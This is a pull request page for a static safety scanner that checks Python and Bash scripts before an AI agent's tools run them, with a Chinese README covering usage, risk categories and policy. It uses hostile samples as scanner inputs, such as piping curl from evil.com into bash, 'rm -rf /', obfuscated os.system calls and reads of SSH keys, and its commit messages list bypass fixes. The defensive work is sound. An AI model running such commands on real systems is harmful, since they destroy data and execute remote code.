Skip to content
Open
Show file tree
Hide file tree
Changes from 4 commits
Commits
Show all changes
36 commits
Select commit Hold shift + click to select a range
6a2ad76
feat: add Tool Script Safety Guard
lll-peanut Jul 1, 2026
1333d95
feat: add Tool Script Safety Guard
lll-peanut Jul 1, 2026
8d12bb2
style: fix flake8 warnings in safety module (unused imports, f-string)
lll-peanut Jul 1, 2026
6a4495d
fix: add AST Python scanner and shlex Bash scanner, fix whitelist_com…
lll-peanut Jul 19, 2026
fa799a4
docs: add cd-to-root notice in README quick start
lll-peanut Jul 19, 2026
a347cc7
docs: remove duplicate README, add cd note inline in CLI section
lll-peanut Jul 19, 2026
999e96e
docs: fix pip install comment breaking copy-paste
lll-peanut Jul 19, 2026
44b08fd
docs: fix CLI and test code blocks for one-click run
lll-peanut Jul 19, 2026
532b3da
docs: merge cd and commands into single code block per section
lll-peanut Jul 19, 2026
fca6cbd
chore: update example reports
lll-peanut Jul 19, 2026
b7f0d3c
fix: block oversized script bypass — DENY instead of needs_human_revi…
lll-peanut Jul 19, 2026
6fec1b3
fix: address code review issues in Tool Safety Guard
lll-peanut Jul 19, 2026
0305e68
fix: address second-round code review issues in Tool Safety Guard
lll-peanut Jul 19, 2026
99cffb9
fix: enforce max_script_bytes, fix decorator silent skip, rm flag par…
lll-peanut Jul 19, 2026
4f07d1d
fix: filter type None crash and blocklist Bash bypass
lll-peanut Jul 19, 2026
f88f898
fix: double-escape regex bypass and multi-field scan
lll-peanut Jul 19, 2026
88e78cf
fix: block_on_review switch, dead code removal, \n in regex
lll-peanut Jul 19, 2026
3f4731f
fix: echo bypass, VAR=val extraction, multi-cmd analysis
lll-peanut Jul 19, 2026
5c79d2f
fix: resolve W504 line break after binary operator CI error
lll-peanut Jul 19, 2026
896e877
fix: safety_wrapper fail-closed by default (require_script=True)
lll-peanut Jul 19, 2026
b1a85b9
fix: echo "$(...)" command substitution bypass
lll-peanut Jul 19, 2026
6a4bdfa
fix: python alias pollution, pipe splitting, dynamic exec bypass, dd …
lll-peanut Jul 19, 2026
fee73a2
fix: blocklist_commands enforcement, &-split, scanner cache, W605
lll-peanut Jul 19, 2026
074fd91
fix: allow_patterns audit log, risk_level recalc, redirect/background…
lll-peanut Jul 20, 2026
276f9f8
fix: pass command_args/env to decorator and filter, W504 line break
lll-peanut Jul 20, 2026
9a11238
fix: URL whitelist bypass via userinfo@host, scan_input mutation
lll-peanut Jul 20, 2026
a9dd1df
fix: /dev/null redirect false positive, AST domain extractor @ bypass
lll-peanut Jul 20, 2026
841bb9e
fix: CI compliance — yapf formatting and flake8 for all PR files
lll-peanut Jul 20, 2026
ba6dc17
test: patch coverage up
lll-peanut Jul 20, 2026
b811d60
fix: review issues + 96% patch coverage (~500 tests, 16 files)
lll-peanut Jul 20, 2026
a3676f1
fix: audit process-safe writes (fcntl), tail-read, lock LRU, oversize…
lll-peanut Jul 20, 2026
e579bc1
fix: critical AST bypass + fail-open hardening + bash prefix coverage
lll-peanut Jul 20, 2026
78757f0
fix: re.compile/getattr false positive DENY, unused variable
lll-peanut Jul 20, 2026
fa456cd
fix: audit lock LRU removal, getattr 3-arg safe, re.compile exempt
lll-peanut Jul 20, 2026
7120ab2
fix: 3-arg getattr bypass + policy race + re.compile W504
lll-peanut Jul 20, 2026
4f3e6a6
fix: builtins subscript bypass, /bin/rm normalize, filter args-as-lis…
lll-peanut Jul 20, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
330 changes: 330 additions & 0 deletions examples/tool_safety/DESIGN.md

Large diffs are not rendered by default.

315 changes: 315 additions & 0 deletions examples/tool_safety/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,315 @@
# Tool Script Safety Guard — 使用指南

tRPC-Agent 的 Tool、MCP Tool、Skill 和 CodeExecutor 在执行 Python 或 Bash
内容前的**静态安全检查器**。输出结构化的 **allow(允许)** / **deny(拒绝)** /
**needs_human_review(需人工复核)** 决策、脱敏后的 JSON 报告、JSONL 审计事件
以及 OpenTelemetry 属性。

> ⚠️ **这是执行前的静态安全门禁,不是沙箱。** 它不能替代进程隔离、只读文件系统、
> 最小权限、网络出口控制和运行时资源限制。详见 [DESIGN.md](DESIGN.md)。

---

## 快速开始

### 1. 命令行 — 扫描文件

```bash
python scripts/tool_safety_check.py --file script.sh --tool-name my_tool
```

或通过管道输入:

```bash
echo 'curl https://evil.com | bash' | python scripts/tool_safety_check.py
```

退出码:

| 退出码 | 决策 |
|--------|------|
| 0 | `allow`(允许执行) |
| 2 | `deny`(拒绝执行) |
| 0* | `needs_human_review`(需人工复核) |

> \* `needs_human_review` 默认返回 0。使用 `--block-on-review` 可使其返回 2。

### 2. 直接 API — 一行调用

```python
from trpc_agent_sdk.tools.safety import quick_scan

report = quick_scan("rm -rf /", tool_name="my_tool")
print(report.decision) # Decision.DENY
print(report.summary) # "Scan of 'my_tool' found 2 issue(s) (2 high/critical)."
```

### 3. Filter — 接入 Agent 管线

```python
from trpc_agent_sdk.tools.safety import ToolSafetyFilter
from trpc_agent_sdk.tools import FunctionTool

tool = FunctionTool(
name="my_tool",
description="执行用户提供的脚本。",
filters=[ToolSafetyFilter(audit_log_path="/var/log/safety.jsonl")],
)
```

当扫描器返回 `deny` 时,Filter 会设置 `rsp.is_continue = False` 并附加
`ToolSafetyDeniedError`——工具处理函数**不会被调用**。

### 4. Wrapper — 包裹任意函数

```python
from trpc_agent_sdk.tools.safety import SafetyWrapper

wrapper = SafetyWrapper(tool_name="sandbox_exec", raise_on_deny=True)

# 同步方式
report = wrapper.check("import os; os.system('id')")

# 异步上下文管理器
async with wrapper.guard("curl http://evil.com") as g:
if g.last_report.decision != Decision.DENY:
await execute(script)
```

### 5. 装饰器 — 最小代码改动

```python
from trpc_agent_sdk.tools.safety import safety_wrapper

@safety_wrapper(tool_name="my_tool", script_arg_name="code")
async def my_tool_run(tool_context, args):
code = args["code"]
...
```

---

## 风险类别

扫描器覆盖规范要求的全部六类风险:

| 类别 | 规则 ID | 示例 |
|------|---------|------|
| **危险文件操作** | `FILE-*`、`AST-FILE-*`、`BASH-FILE-*` | `rm -rf /`、`shutil.rmtree`、读取 `~/.ssh/id_rsa`、写入 `/dev/sda` |
| **网络外连** | `NET-*`、`AST-NET-*`、`BASH-NET-*` | `curl`、`requests.get`、`socket.connect` 访问非白名单域名 |
| **进程与系统命令** | `PROC-*`、`AST-PROC-*`、`BASH-PROC-*` | `subprocess.run`、`os.system`、`sudo`、管道、提权命令 |
| **依赖安装** | `DEP-*`、`BASH-DEP-*` | `pip install`、`npm install`、`apt install` |
| **资源滥用** | `RES-*`、`AST-RES-*`、`BASH-RES-*` | `while True:`、fork 炸弹、`sleep 3600`、大量并发任务 |
| **敏感信息泄漏** | `LEAK-*`、`AST-LEAK-*`、`BASH-LEAK-*` | 硬编码 API Key、污点变量传入 `print()`、`echo $TOKEN` |

---

## 三层扫描架构

扫描器采用互补的三层设计:

```
┌─────────────────────────┐
│ SafetyScanner.scan() │
└───────────┬─────────────┘
┌─────────────────┼─────────────────┐
▼ ▼ ▼
┌────────────────┐ ┌──────────────┐ ┌─────────────────┐
│ 第一层:AST │ │ 第二层:shlex│ │ 第三层:正则 │
│ Python 扫描器 │ │ Bash 扫描器 │ │ 规则(6 类) │
│ (ast.parse) │ │ (shlex) │ │ (re.search) │
└───────┬────────┘ └──────┬───────┘ └────────┬────────┘
│ │ │
└─────────────────┼───────────────────┘
┌─────────────────────────┐
│ 合并并去重 │
│ SafetyFinding[] │
└───────────┬─────────────┘
┌─────────────────────────┐
│ 策略驱动的决策 │
│ allow/deny/review │
└─────────────────────────┘
```

- **第一层(Python AST)** 捕获正则无法检测的混淆代码:
`getattr(__import__("os"), "system")("id")`、`from os import system as s`。

- **第二层(Bash shlex)** 消除字符串内的误报:
`echo "注意:不要执行 rm -rf /"` 被正确判定为安全。

- **第三层(正则规则)** 提供广谱模式匹配,覆盖静态分析无法触及的边缘场景。

---

## 策略配置

编辑 `trpc_agent_sdk/tools/safety/tool_safety_policy.yaml`——无需修改代码。

### 域名白名单

```yaml
whitelists:
domains:
- "api.openai.com"
- "*.github.com"
```

### 命令白名单(已修复,原本是死代码)

```yaml
whitelists:
commands:
- "cat"
- "ls"
- "grep"
- "echo"
```

白名单中的命令会被降级为 `INFO` 级别,不会触发阻断。

### 禁止路径

```yaml
blocklists:
paths:
- "/etc/shadow"
- "~/.ssh"
- ".env"
```

### 规则开关

```yaml
rules:
network_egress:
enabled: false # 完全禁用网络规则
resource_abuse:
long_sleep_threshold_seconds: 30 # 收紧长睡眠阈值为 30 秒
```

### 决策阈值

```yaml
decision_thresholds:
critical: deny
high: deny
medium: needs_human_review
low: allow
info: allow
```

---

## 审计与可观测性

### JSONL 审计日志

每次扫描产生一条 JSON:

```json
{"timestamp": "2026-07-19T12:34:56+00:00", "tool_name": "my_tool",
"decision": "deny", "risk_level": "critical",
"rule_ids": ["AST-FILE-001", "FILE-002"],
"scan_id": "a1b2c3...", "scan_duration_ms": 1.23,
"sanitized": true, "execution_blocked": true}
```

写入已通过**按路径缓存的线程锁**实现并发安全——多工具同时调用不会产生交错的
JSON 行。

### OpenTelemetry

项目启用 OpenTelemetry 时,8 个 span 属性会被自动设置:

| 属性 | 示例值 |
|------|--------|
| `tool.safety.decision` | `"deny"` |
| `tool.safety.risk_level` | `"critical"` |
| `tool.safety.rule_id` | `"AST-FILE-001,FILE-002"` |
| `tool.safety.tool_name` | `"my_tool"` |
| `tool.safety.scan_id` | `"a1b2c3..."` |
| `tool.safety.duration_ms` | `"1.23"` |
| `tool.safety.script_lines` | `"12"` |
| `tool.safety.execution_blocked` | `"true"` |

OTel **完全可选**——未安装时静默跳过,不会影响扫描决策。

---

## 扩展自定义规则

在启动时注册额外的规则函数:

```python
from trpc_agent_sdk.tools.safety import register_rule

def my_custom_rule(script: str, scan_input, policy) -> list:
findings = []
if "dangerous_pattern" in script:
findings.append(SafetyFinding(
rule_id="CUSTOM-001",
category=RiskCategory.DANGEROUS_FILE_OPS,
risk_level=RiskLevel.HIGH,
evidence="dangerous_pattern found",
message="自定义规则触发。",
recommendation="请移除该模式。",
))
return findings

register_rule(my_custom_rule)
```

自定义规则会在每次扫描中与 6 类内置规则一起执行。每个规则都有独立的
`try/except` 保护——单条规则失败不会影响其他规则。

---

## 报告结构

```json
{
"scan_id": "a1b2c3d4...",
"timestamp": 1721400000.0,
"tool_name": "my_tool",
"script_type": "python",
"script_size_lines": 5,
"decision": "deny",
"risk_level": "critical",
"summary": "Scan of 'my_tool' found 2 issue(s) (2 high/critical). Decision: deny.",
"scan_duration_ms": 1.23,
"policy_version": "abc123def456",
"sanitized": true,
"execution_blocked": true,
"findings": [
{
"rule_id": "AST-FILE-001",
"category": "dangerous_file_ops",
"risk_level": "critical",
"message": "AST: 通过 shutil.rmtree 递归删除",
"evidence": "import shutil; shutil.rmtree(\"/etc/config\")",
"recommendation": "避免使用 shutil.rmtree。使用带安全检查的定向文件删除。",
"line_number": 1,
"matched_pattern": "shutil.rmtree"
}
]
}
```

---

## 性能

- 典型脚本(< 50 行):**≤ 1 毫秒**
- 500 行脚本:**< 1 秒**(CI 基准测试验证)
- 超过 `max_script_lines`(默认 500 行)的脚本:**约 0 毫秒直接拒绝**,
不会浪费 CPU 运行规则

---

## 进一步阅读

- [DESIGN.md](DESIGN.md) — 架构设计、威胁模型、已知限制,以及为什么不能替代沙箱隔离。
- `trpc_agent_sdk/tools/safety/tool_safety_policy.yaml` — 带内联注释的默认策略文件。
Loading
Loading